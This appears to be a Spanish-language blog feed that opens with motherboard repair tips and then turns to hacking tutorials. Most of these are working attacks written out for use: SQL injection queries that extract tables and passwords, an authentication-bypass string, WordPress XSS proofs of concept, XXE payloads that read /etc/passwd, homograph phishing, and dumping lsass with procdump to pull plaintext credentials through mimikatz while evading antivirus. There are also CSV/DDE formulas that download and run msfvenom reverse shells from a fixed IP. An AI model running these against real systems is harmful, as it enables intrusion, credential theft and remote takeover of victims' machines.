Si con el óhmetro en todas las escalas la aguja no se mueve, estamos frente al primer caso. Si en la misma situación la aguja siempre marca el máximo, se trata del segundo. Si marca un nivel aproximado al del valor original de la resistencia, significa que está en perfectas condiciones. El valor original suele estar indicado con un código de colores, con el valor impreso sobre el componente o con un código numérico (que se puede averiguar en el manual de servicio del motherboard).





Diodos

Son pequeños componentes electrónicos que permiten el paso de la corriente en un solo sentido. Por lo tanto, el multímetro debería mover la aguja solo cuando el terminal positivo (rojo) se encuentre en la pata marcada con una línea. Si marca en ambas posiciones, significa que está en cortocircuito. Si, por el contrario, no se registran cambios estará abierto.




Transistores

Los transistores poseen tres patas (emisor, base y colector), que suelen estar identificadas con las letras E, B y C en la misma plaqueta donde se encuentran soldadas. Existen dos tipos de transistores: NPN y PNP. El primero se mide según el método que explicaremos a  continuación; para el segundo deberemos hacer lo mismo, pero con la polaridad invertida.
Posicionamos la escala del óhmetro en un valor comprendido entre x1 y x100, luego aplicamos el terminal negro (negativo) sobre la pata base y alternamos el rojo (positivo) entre las otras dos. De esta manera, tendría que haber conducción para ambos casos, y al invertir, obtendríamos un valor casi nulo. Por último, entre emisor y colector no debería de haber continuidad en ninguno de los sentidos.



  





Soldar correctamente con el cautin





Desoldar SMD





Conclusion

En pocas palabras reparar tarjetas madres conlleva un poco de dedicacion y esfuerzo, lo cual vale la pena ya que es el componente principal de una Laptop o Computadora de Casa, y ademas de ser el mas costoso, siguiendole la pantalla.

Esto es mas que nada una recopilacion, pero como no vi nada igual en la red, lo junte de una manera 'un poco ordenada' espero que a mas de uno le sea de ayuda, Saludos! 

Error Based SQLi Polygon

$
0
0
Introduccion

El principio de un ataque basado en error es el mismo que uno basado en UNION, un campo de entrada es suministrado en la aplicacion web que es utilizado para construir una consulta contra una base de datos, incluyendo la consulta SQL en el campo de entrada, la cual altera el comportamiento de la consulta original, pero el retorno de datos esta fuera del alcance. Por ejemplo, una funcion de busqueda para encontrar articulos de noticias podria ser capaz de devolver informacion sobre la estructura de la base de datos e incluso campos especificos, tales como contraseñas u otra informacion sensible. 

En un ataque basado en la metodologia UNION es descubrir los datos que estan siendo arrojados por la base de datos para las partes visibles de la aplicacion web y luego la union de la existente como resultado de sus propios datos. Si la pagina solo muestra el primer resultado en el final del conjunto tu puedes alterar las condiciones en las que se ha seleccionado los datos originales para devolver cero como resultado por lo que el conjunto final solo contiene los datos personalizados.

Bajo ciertas condiciones, este metodo puede no funcionar, aqui hay algunos ejemplos:


* Si hay algun tipo de logica para comprobar que el parametro de entrada es valido, esto hace que deje de hacer la declaracion SQL original y seleccione cero resultados. Si estos se encuentran en una pagina web que solo puede mostrar un numero fijo de los resultados a continuacion, los datos agregados son ignorados.

* Si ninguno de los resultados son devueltos a la pantalla directamente, es posible que los resultados podrian ser interpretados a traves de alguna otra logica primero y no aparecera en la pagina como texto sin formato, sino mas bien desencadenar algun otro cambio. 

* Si el punto de entrada de la inyeccion esta dentro de una consulta anidada puede encontrarse con que despues de enumerar el numero de columnas utilizando ORDER BY que un UNION SELECT todavia arroje un numero de columnas no valido, es probable que haya una consulta SELECT anidada.

En estos casos donde no se puede devolver datos arbitrarios de nuevo a la pantalla lo que necesita es cambiar a una inyeccion SQL basada en errores.

Errores de MySQL

Los errores de MySQL pueden ser suprimidos sin embargo si estan habilitados y el mensaje de error se devuelve en la pantalla en cualquier lugar de la aplicacion web tiene otro metodo de extraccion de datos, como el mensaje de error puede contener partes de instruccion SQL y si parte de la declaracion ya ha sido evaludada podria reflejar los datos reales de la base de datos.

Cuando el servidor SQL se presenta con una consulta que resolvera las partes mas anidadas primero antes de evaluar el exterior hasta que se termine toda la consulta o hasta que choca con un error. Esto significa que si una consulta SQL anidada diseñada para crear error, los datos seran seleccionados primero y luego de regreso en pantalla lo mostrara dentro del mensaje de error. Esto es una metodologia basica en una ataque de inyeccion SQL basado en error.

SQL Geometrico

Hay numerosas maneras de realizar Inyecciones SQL basadas en error, un metodo recientemente descubierto implica el uso de las funciones geometricas incorporadas en MySQL. Polygon() le permite definir un poligono dada una serie de vertices o puntos, los puntos se definen como un par de coordenadas X,Y usando doble presicion, por ejemplo:

SQL:

point(10.75,21.37);

Los poligonos se definen como una serie de puntos, por ejemplo:

SQL:
 
polygon((0 0, 1 1, 2 2, 3 3, 4 4),(5 5, 6 6, 7 7, 8 8,9 9)); 

Si proporciona algunos datos mal formados como:

SQL:

polygon(1); 
 
Obtendra un error como el siguiente:
 
Error:

ERROR 1367 (22007): Illegal non geometric '1' value found during parsing

Tenga en cuenta que el valor '1' se refleja de nuevo en el mensaje de error. Vamos a tratar de seleccionar algo que requiere que el servidor SQL para evaluar los datos de la base de datos como la variable version.

SQL:

polygon(select @@version);

Por desgracia, esto nos da el error siguiente: 
  
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntaxto use near 'select @@version)' at line 1

En lugar de eso, probemos seleccionar la version en una tabla temporal, que llamaremos 'a' y luego seleccionamos el valor de eso, por ejemplo:

SQL:

polygon(select * from(select @@version)a)

Ahora conseguimos el mensaje de error:

Unknown error: 1367 (Illegal non geometric '(select`a`.`@@version` from (select @@version AS `@@version`) `a`)'value found during parsing).

Esto esta mas cerca de lo que necesitamos, estamos seleccionando el numero de version correcta, que esta siendo evaluada por el servidor SQL, sin embargo, no se devuelve el valor real en el mensaje de error, en lugar de eso se esta devolviendo el nombre por defecto de la tabla temporal, cuando no se indica explicitamente el nombre por defecto es el primer valor de los resultados. Podemos repetir este truco y este unido en otro select por ejemplo:

SQL:

polygon((select * from (select * from (select @@version)a)b))

Ahora estamos seleccionando el valor de la tabla temporal 'a' en una nueva tabla temporal 'b', esto obliga a la tabla 'a' a ser evaluada, ahora, cuando obtenemos un error contiene el numero de version real. Al hacer la seleccion embebida o anidada en la consulta SQL los mas intimos (inner) se evaluan primero por lo que los valores pueden ser utilizados por SELECT exteriores, si el valor que esta tratando de extraer con el uso de SQLi no se ha evaluado en el mensaje de error, basta con utilizar este truco de seleccionar (SELECT) el valor dos veces. El error ahora debe ser algo como esto:

Error:

Unknown error: 1367 (Illegal non geometric '(select `b`.`@@version` from (select '5.50.00' AS `@@version` from dual)`b`)' value found during parsing).     

Ahora podemos notar que en el mensaje de error tenemos los datos legibles tirados desde el servidor, hemos seleccionado la version5.50.00, de que manera pondriamos esto en un ejemplo ficticio, suponga que existe el parametro noti (el verde es la parte estetica de la direccion URL, el rojo es la entrada proporcionada por el usuario).

URL:

http://urlficticia.com/noticias/index.php?noti=50

Podemos intercambiar el valor 50 para el parametro noti, que se ve asi:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from (select @@version)a)b))


Seleccion de los datos

Se puede extender este concepto basico con un SQL arbitrario, por lo que todo los mismos trucos para trazar una base de datos y seleccione los datos de trabajo como es de esperar, si desea seleccionar una lista de tablas del esquema por defecto:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b))

Para encontrar las columnas dentro de estas tablas, se puede utilizar lo siguiente NOMBREDELATABLA es el nombre de la tabla que le interesa. Recuerde codificar en hexadecimal el valor. 

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(column_name) from information_schema.columns wheretable_name=NOMBREDELATABLA))a)b))

Y finalmente seleccionamos los datos:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(0x0a,COLUMN1,0x3a,COLUMN2,0x3a,COLUMN3) from NOMBREDELATABLA)a)b))


Este tutorial no es de mi autoria, ha sido una traduccion de: http://frostyhacks.blogspot.co.uk/2014/11/error-you-have-sqli-in-your-polygons.html


Saludos!

[Truco] Autentificarse en un solo disparo

$
0
0
Aveces tenemos que pasar por alto algunos paneles de administracion, y lo hacemos usando or 1=1.

El problema es que no sabemos si tenemos que usar un entero, una sola comilla o doble comilla, ¿pero esto realmente importa?  Puedes checar esta consulta:

or 1-- -' or 1 or '1"or 1 or"


Permite comprobar cualquiera de los terminos anteriores, si es entero, el URL detras de la consulta + nuestra inyeccion quedaria asi:

SELECT * FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username='' AND password=''

El "or 1-- -" se activa, crea una condicion verdadera e ignora el resto de la consulta.

Ahora vamos por la verificacion regular de una Cadena:

SELECT * FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or"' ..... 

La parte  "or 1" hace la consulta cierta, y las otras partes son consideradas como la comparacion de cadenas.

Lo mismo con las comillas dobles:

SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or"" .....

Fuente: HackForums

MSSQL Union Based SQL Injection

$
0
0
Introduccion

La mayoria de las aplicaciones web que usan Miscrosoft SQL SERVER usan como tecnologia ASP/ASPX, en este tutorial si es que se le puede llamar de esa manera veremos como inyectar una pagina que contiene una base de datos Microsoft SQL SERVER. 

Los errores mas comunes que se pueden ver para saber si es vulnerablela aplicacion web, son los siguientes:

 

Detectando el tipo de inyeccion

Agregamos la comilla simple (') y vemos si arroja error... Ok, pero si agregamos comilla doble (") tambien arroja error... Para saber cual de las dos es la correcta agregamos un comentario...

' --+- No Hay error
" --+- Si Hay error

De esta manera, detectamos que la inyeccion es de tipo String. En caso de que quitando la comilla simple o doble, no hubiese habido error seria de tipo entero (Esto por como estan los parametros donde inyectamos).

Podemos agregar diferentes tipos de comentarios, podemos tomar como referencia la pagina de Roberto Salgado






Ahora a contar columnas

Para contar las columnas que tiene usamos ORDER BY... 

' ORDER BY 10000 --+- ERROR
' ORDER BY 10 --+- ERROR
' ORDER BY 1,2 --+- OK


En caso de que este fuera de limite te saldra un mensaje como el siguiente:


En este caso son 2 columnas solamente.


Unir la consulta original con la nuestra

Lo siguiente seria unir la consulta original con la nuestra para ello usaremos... UNION y SELECT para seleccionar datos.

' UNION SELECT 1,2 --+- ERROR

En caso de que tire un error, por usar numeros, podemos sustituir esos valores por nulos.



Es por que no contienen el mismo 'tipo de dato' por lo cual usaremos NULL en cada columna, ejemplo: UNION SELECT null,null,null...

' UNION SELECT null,null --+-OK

Para ver las columnas vulnerables en la web (en caso de que no se muestren) negaremos la primera consulta, en este caso utilizando: and 1=0 lo cual es falso, negando la primera consulta.

' AND 1=0 UNION SELECT null,null --+-OK

Mostrando datos

Usaremos @@version para saber la version que contiene la base de datos, de esta manera podemos saber que base de datos es la que contiene por defecto y estan disponibles.

 

En este caso nos arroja la version Microsoft SQL Server 2000:



Para conocer la base de datos actual utilizamos db_name().

Estas son algunas de las formas que podemos conseguir mas informacion en MSSQL:

@@version - Version Actual
user_name() - Nombre de Usuario Actual
user, system_user, current_user - Nombre de Usuario Actual
db_name() - Base de Datos Actual
@@servername - Nombre del Host


Extrayendo tablas, columnas y datos

Ahora vamos a extraer los nombres de las tablas, la sintaxis es un poco diferente a MySQL:

 
'AND 1=0 UNION SELECT table_name,null from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc --+-OK    

'AND 1=0 UNION SELECT table_name,null from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc --+-OK   

'AND 1=0 UNION SELECT table_name,null from (select top 3 table_name from information_schema.tables order by 1) as shit order by 1 desc --+-OK    


En este caso cambiaremos TOP 1 por TOP 2 y asi sucesivamente, esto es como un LIMIT en MySQL, para limitar los resultados que va arrojando.

La siguiente sintaxis es para extraer las columnas de la tabla que selecciones:

'AND 1=0 UNION SELECT column_name,null from (select top 1 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA'order by 1) as shit order by 1 desc --+-OK  


'AND 1=0 UNION SELECT column_name,null from (select top 2column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA'order by 1) as shit order by 1 desc --+-OK  


'AND 1=0 UNION SELECT column_name,null from (select top 3 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA'order by 1) as shit order by 1 desc --+-OK  


Como anteriormente lo hicimos con el TOP limitamos los resultados.

Por ultimo para extraer los datos en si, solo necesitariamos las tablas y columnas que queremos sacar los datos, y para concatenarlas utilizaremos + (%2b):

' AND 1=0 UNION SELECT TOP 1COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 2COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 3COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+-   
   
%2b es lo mismo que + solo que en URLENCODE.   

Wordpress XSS en flashmediaelement.swf

$
0
0
Resumen rapido

* XSS reflejado en Wordpress 4.5.1
* Reportado a finales de abril
* Arreglado en Wordpress 4.5.2


Introduccion

Wordpress 4.5.1 es vulnerable frente a un xss reflejado que se deriva de un proceso de inseguro de sanatizacion en la URL en el archivo flashmediaelement.swf. El codigo en el archivo intenta quitar FlashVars en caso de que se establezcan parametros en GET, pero no lo hace, lo que permite el XSS a traves de ExternalInterface

El ataque fue descubierto por primera vez por Soroush Dalili en 2013. La vulnerabilidad en flashmediaelement.swf fue descubierta en abril del 2016, identificado por primera vez como SOME bug por Kinugawa. Entonces despues de una revision en equipo, el potencial XSS fue descubierto y analizado por Heiderich, Kinugawa y Inführ. Por ultimo, se ha descubierto, que este archivo viene empaquetado con la ultima version de Wordpress y el problema se reporto a traves de HackerOne por Heiderich et al.

PoC:http://ejemplo.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1` 



Post Original y para ver como funciona el ataque por dentro:

https://gist.github.com/cure53/df34ea68c26441f3ae98f821ba1feb9c

WordPress SOME bug en plupload.flash.swf

$
0
0
Resumen rapido

* SOME en Wordpress 4.5.1
* Reportado a finales de abril
* Corregido en Wordpress 4.5.2


Introduccion

Wordpress 4.5.1 es vulnerable de nuevo a Same-Origin Method Execution (SOME) vulnerabilidad que se deriva por un proceso de sanatizacion de una URL insegura en el archivo plupload.flash.swf. El codigo en el archivo intenta remover FlashVars en su caso para establecer los parametros por GET pero falla al hacer esto, habilitando XSS via ExternalInterface.

El ataque fue descrito por Soroush Dalili in 2013. La vulnerabilidad en plupload.flash.swf fue descubierta en abril del 2016, primeramente identificada como SOME bug por Kinugawa. Entonces, despues el team lo reviso, la completa explotacion fue descubierta y analizada por Heiderich, Filedescriptor, Kinugawa and Inführ. Finalmente, es decubierto, que el archivo viene empaquetado en la ultima version de Wordpress y el problema fue reportado via HackerOne por Heiderich et al.

PoC Simple:  http://ejemplo.com/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=hello&

Un PoC mas complejo fue creado para demostrar el ataque potencial Remote Code Execution (RCE) de esta vulnerabilidad. Una descripcion detallada puede ser encontrada mas abajo:

<buttononclick="fire()">Click</button>
<script>
functionfire() {
open('javascript:setTimeout("location=\'http://example.com/wp-includes/js/plupload/plupload.flash.swf?target%g=opener.document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=hello&\'", 2000)');
setTimeout('location="http://example.com/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"')
}
</script>
  

Para ver la explicacion a profundidad y el post original:

https://gist.github.com/cure53/09a81530a44f6b8173f545accc9ed07e

Inyeccion XXE: Ataque y Defensa

$
0
0
VIDEO ALGUIENENLAFISI




0x00 Prologo

XXE es una inyección de entidad externa XML. Las vulnerabilidades son problemas de seguridad por el procesamiento de los datos no seguros en la entidad externa iniciada. En la norma de XML 1.0, la estructura del documento XML con entidad definida (ENTITY), este concepto pueden ser entidades predefinidas, y llamar en el identificador del documento de la entidad la cual puede tener acceso al contenido local o remoto. La introducción de fuentes de contaminación (parámetros de inyeccion) en el proceso, después del procesamiento del documento XML puede conducir a otros problemas de seguridad y la fuga de información.

0x01 Amenaza

XXE es una vulnerabilidad que aun no ha recibido una gran atención,con XXE un atacante puede leer cualquier archivo, realizar ataques de denegación de servicio DOS, y escaneo interno a la red.

Hay diferentes analizadores XML para manejar entidades externas cada uno tiene diferentes reglas, pero la función de procesamiento por defecto en PHP es:


xml_parse o simplexml_load


La biblioteca xml_parse por defecto no resolverá entidades externas, y el siguiente por defecto simplexml_load resolverá entidades externas que suponen una amenaza para la seguridad.

Ademas de PHP, el problema puede existir en Java, Python y otros componentes y funciones de procesamiento XML.

0x02 Sintaxis

Escribir un Payload, primero debe tener una cierta comprensión de gramática de entidades XML, la sintaxis de la entidad XML que se define es:

<!DOCTYPE filename[      <!ENTITY entity-name "entity-content" ]>

Si desea hacer referencia a un recurso externo, puede utilizar varios protocolos algunos ejemplos:


file:///path/to/file.ext 
http://url/file.ext 
php://filter/read=convert.base64-encode/resource=conf.php   

Por lo tanto, la construccion de varios modelos de payloads sencillos son los siguientes:


<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd">]><methodcall><methodname>&xxe;</methodname></methodcall>


Puede leer el contenido del sitio web:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://attacker.com/text.txt">]><methodcall><methodname>&xxe;</methodname></methodcall>


Si el archivo contiene un fallo puede deberse a los documentos cuando se lee el propio archivo PHP contiene caracteres tales, que solo pueden ser eludidos utilizando base64:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]><methodcall><methodname>&xxe;</methodname></methodcall>


0x03 Ataque

Con XXE hay varios ataques disponibles y abiertos:

  • Denegación de servicio


PoC


<?xml version = "1.0"?> 
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)> 
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>


PoC: Se define la primera entidad que es lol la cadena "lol" despues también se definen las entidades LOL2 esta entidad hace referencia a lol1 10 veces, lol3 ha citado 10 veces a las entidades de lol2 y asi sucesivamente, en referencia al ultimo lol9 lolz, existirá miles de millones la cadena "lol"

En este punto sin hacer manejo especial al analizar los datos, que pueden dar lugar a ataques de denegación de servicio.

Tambien hay un payload que puede causar denegacion de servicio con la lectura de /dev/random   


  • Información de red
Con variedad de protocolos como HTTP, XXE puede ayudar en el analisis de la red, el acceso a la red puede ser capaz de abrir el servicio de servidor WEB, y obtener informacion adicional:



  • Leer archivos
El uso mas convencional y mas eficaz de las ideas:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd">]><methodcall><methodname>&xxe;</methodname></methodcall>


Adjuntamos dos imágenes, en el proceso de implementacion de leer un archivo:



0x04 Defensa

1.- Compruebe la biblioteca de tratamiento XML subyacente utilizada, la resolución predeterminada prohíbe entidad externa.


2.- Utilizar un código de aplicación de terceros con un parche de manera oportuna.

3.- Al mismo tiempo, mejorar el sistema de vigilancia para exitar este problema de explotación.

Para PHP, problema de análisis de XML simplexml_load_string se encuentra en la biblioteca libxml, por lo que se puede llamar a una función de carga antes de entidad:

 <?php libxml_disable_entity_loader(true); ?> 

Para una mayor proteccion por XMLReader y Analizar el DOM, se puede hacer referencia al codigo siguiente:


<?php// with the XMLReader functionality:$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:$dom = new DOMDocument();$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);?>>

0x05 Referencias



Este articulo ha sido traducido desde: http://le4f.net/ por arthusu

Homografos Unicode en URL's Y Cambio de Contraseñas

$
0
0
Hola he estado bastante ocupado y no habia tenido chance de publicar en el BLOG, pero ahora les traigo algo que me parecio interesante en estos dias...

Primero que nada vamos con dos definiciones para dejar los puntos importantes claros!
 

Homografo

Que se escribe y se pronuncia exactamente igual que otra pero tiene distinto significado.

Unicode

Es un estandar de codificacion de caracteres diseñado para facilitar el tratamiento informatico, transmision y visualizacion de textos de multiples lenguajes y disciplinas tecnicas, ademas de textos clasicos de lenguas muertas.

Muchas personas usaban estos caracteres unicode, recuerdo en la red de metroflog, para usar sus "caritas lindas" al escribir un mensaje.

Aqui les dejo una tabla unicode con los caracteres mas populares:
http://unicode-table.com/es/


Ahora si a lo que vamos...



No se si hayan escuchado el termino "phishing" que es cuando atraes al usuario a entrar a una URL donde esta montado un SCAM (pagina falsa) en la cual tus datos importantes son capturados.

Bueno pues la mayoria de estos sitios son identificados por las URL's que manejan son poco "confiables" o simplemente por que son reportadas como tales (paginas phishing), veamos un ejemplo:

www.faceboolk.com

seria una url muy parecida a la de facebook exepto que tiene la "l" ahi... esto seria una buena URL para una pagina falsa... pero que pasa si los caracteres no son mas que parecidos visualmente (homografo)... Ejemplo:

www.facebook.com

si miras esa "f" es una F codificada en Unicode... Pero el dominio sigue siendo el mismo... o Parecido visualmente... Por lo cual la gente puede caer en unos de estos ataques rapidamente (Tambien podemos incluir un open redirect una vulnerabilidad comun hoy en dia).

Les dejo dos paginas para que puedan realizar esto de una manera ilustrativa:

http://www.irongeek.com/homoglyph-attack-generator.php
http://savanttools.com/unicode-to-ascii.asp


Ahora el otro tipo de ataque que les comentaba era el cambio de contraseñas, por medio de este mismo ataque, hace poco escuche que hicieron un ataque parecido a github.

Digamos este caso:

Tenemos un correo que esta registrado en una pagina y se llama:

arthusu@micorreo.com

Entonces, nosotros al poner olvide mi contraseña es obvio que va enviar un codigo... al correo o al numero de telefono asociado a la cuenta.

En caso de que la aplicacion este mal programada podemos hacer uso de un correo muy parecido visualmente (homografo), ejemplo:


arthusu@micorreo.com

Cremos un dominio con micorreo.com, y es obvio que nos llegara un correo con el link para establecer una nueva contraseña.

Eso es todo en esta entrada, no inclui imagenes, no inclui pruebas, pero les dejo la idea por si alguna vez llegasen a intentar el ataque, no creo que se necesiten pruebas pero por si las dudas...
 

HSTS Seguir usando con Burp Suite

$
0
0
Les comparto algo que me paso hace poco al querer intentar realizar un ataque por fuerza bruta a una pagina que incluia HSTS (Seguridad de transporte HTTP estricta). 

Me salia algo como esto:



Primero antes que anda comenzare definiendo lo que es HSTS:

Es un mecanismo de politica de seguridad web segun la cual un servidor web declara a los agentes de usuario compatibles (por ejemplo, un Navegador web, en este caso Burp Suite) que deben interactuar con ellos solamente mediante conexiones HTTP seguras (es decir, en capas HTTP sobre TLS/SSL). La politica HSTS es comunicada por el servidor al agente de usuario a traves de un campo de la cabecera HTTP de respuesta denominado "Strict-Transport-Security". La politica HSTS especifica un periodo de tiempo durante el cual el agente de usuario debera acceder al servidor solo de forma segura.

Para poder usarlo con Burp Suite lo que tendriamos que hacer es usar un navegador que no soporte en este caso la tecnologia HSTS, o jugar con el user-agent... Les recomiendo el plugin User Agent Switcher para firefox y chrome.

Segun wikipedia estos son los navegadores que soportan HSTS:


  • Google Chrome admite HSTS partir de la versión 4.0.211.0.21
  • HSTS está incluido en Firefox 4.22 Con Firefox 17, Mozilla da una lista de sitios web que soportan HSTS.23
  • Opera 1224

Ahora y lo mas importante para poder usar HSTS en Burp suite es instalar el certificado CA (el cual no debe ser compartido, ni prestado), las instrucciones para instalar el certificado de burp suite en Firefox estan en la pagina oficial de Burp suite pero igual se los muestro:

https://support.portswigger.net/customer/portal/articles/1783087-installing-burp-s-ca-certificate-in-firefox

Con el proxy de burp suite configurado en firefox realizas los siguientes pasos:

1.- Ingresar a http://burp/
2.- Dar click en CA certificate
3.- Guardar el certificado
4.- Vamos a preferencias/opciones o about:preferences 
5.- Luego en Avanzado>Certificados>Ver Certificados
7.- Importar
8.- Agregamos el certificado de Burp suite y ahora podemos usarlo!
 

Como solucionar el exceso de uso de disco duro por el servicio Microsoft Compatibility Telemetry

$
0
0
Hola bienvenidos a esta entrada tenia tiempo sin postear, esto sera breve ya que solo es una solucion a un problema que puede llegar a ser comun y hasta puede llegar a alentarte tu computadora, laptop.



Para solucionar esto solo tienes que tomar los siguientes pasos:

1.- Tecla Windows + R y escribir gpedit.msc dar Enter
2.-  Desplazarte de la siguiente forma: Configuracion del equipo>Plantillas administrativas>Componentes de Windows>Recopilacion de datos y versiones preliminares
3.- Clic derecho y editar en permitir telemetria
4.- Seleccionar  Deshabilitado

Con eso quedaria deshabilitado y tu computadora funcionaria mas rapido, windows trata de sacar nuevas versiones y parchar, etc y este servicio sirve para capturar informacion sobre los componentes y del funcionamiento de windows y todo el software relacionado, pero al tratar de hacer esto constantemente hace que tu computadora gaste mucho mas recursos.

Usando procdump y mimikatz para retornar las credenciales de windows

$
0
0
Procdump? mimikatz?

mimikatz es una herramienta conocida por que puede extraer las credenciales de windows en texto plano.

procdump de sysinternals es una utilidad de linea de comandos cuyo proposito principal es monitorear una aplicacion y generar volcados de emergencia.

Cual es el problema?

Mimikatz es detectado por demasiados antivirus: Resultado de Virus Total

Por lo cual no puede ser usado en un servidor explotado.

Cual es la solucion?

procdump es una herramienta legitima de microsoft por lo cual no es detectada por el antivirus. El objetivo es volcar el proceso lsass.exe que contiene las credenciales y luego usarlo con mimikatz. Debes de ser administrador para poder utilizarlo. Puedes volcarlo de la siguiente manera:

procdump.exe -accepteula -ma lsass.exe dump.dmp


Resultado

A partir de esto tendra un archivo de volcado del proceso lsass.exe, puedes copiarlo desde el servidor explotado y usar el mimikatz para recuperar las contraseñas en texto plano:

sekurlsa::minidump dump.dmp
log
sekurlsa::logonPasswords 

 

MSFvenom Payload Creator (MSFPC) By g0tmi1k

$
0
0

MSFVenom Payload Creator es un rapido generador de payloads por la via de msfvenom parte de metasploit framework.
Puedes generar multiples tipos de payloads a decision tuya la idea es ser lo mas simple posible solo requiere una entrada.

Puedes generar diferentes tipos de payloads
 
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]

Inyeccion de Formulas de Excel/CSV en aplicaciones web

$
0
0
Existen muchas aplicaciones que exportan archivos CSV los cuales son generados por que recogen desde la base de datos la informacion.
En estos archivos podemos inyectar formulas con las cuales explotamos el sistema operativo ejecutando codigo arbitrario.








Comandos

Ejecutar un proceso en el sistema operativo:
=cmd|' /C calc'!'A1'
=cmd|' /C calc'!notthissheet
=cmd|' /C calc'!xxx
=cmd|'/Ccalc.exe'!z

Ejecutar una shell con metasploit
=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/first.exe" -OutFile "$env:Temp\first.exe"; Start-Process "$env:Temp\first.exe"'!A1

=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/Meterpreter.exe" -OutFile "$env:Temp\Meterpreter.exe"; Start-Process "$env:Temp\Meterpreter.exe"'!A1

Shell
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=222.222.166.136 LPORT=666 -b "\x00" -e x86/shikata_ga_nai -f exe -o C:/first.exe

Meterpreter

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST=222.222.166.136 LPORT=666 -b "\x00" -f exe -o C:/Meterpreter.exe

Poner metasploit a la escucha:

Shell
# msfconsole
> use exploit/multi/handler
> set payload windows/shell/reverse_tcp
> set LHOST 222.222.166.136
> set LPORT 666
> show options
> run

Meterpreter
# msfconsole
>use exploit/multi/handler
>set PAYLOAD windows/meterpreter/reverse_tcp
>set LHOST 222.222.166.136
>set LPORT 666
>set ExitOnSession false
>exploit -j -z
>help
>webcam_stream

Aplicaciones en:
Encuestas, Reportes generados por maestros, una tienda, hasta un banco que genera reportes, etc.


Mitigacion

Agregar un ' o espacio o cualquier letra antes de la formula =FORMULA comience.
Puedes verificar que las celdas no tengan estos caracteres.
* Igual a ("=")
* Suma ("+")
* Menos ("-")
* Arroba ("@")


En las últimas versiones de OpenOffice Calc y LibreOffice Calc, la funcionalidad de ejecución de comandos de la fórmula DDE se revocó después del descubrimiento inicial de una vulnerabilidad de inyección de comandos (CVE-2014-3524).

Office si acepta solo que muestra mensajes de seguridad que vieniendo la pagina que ellos entraron no tienen por que desconfiar.

https://scarybeastsecurity.blogspot.com/2010_06_01_archive.html <- estudio que muestra que 50% de los usuarios dan clic en enlaces y siguen confiando en ellos (Open Redirect Vulnerability)


Codigo Fuente para prueba de Concepto:


Viewing all 135 articles
Browse latest View live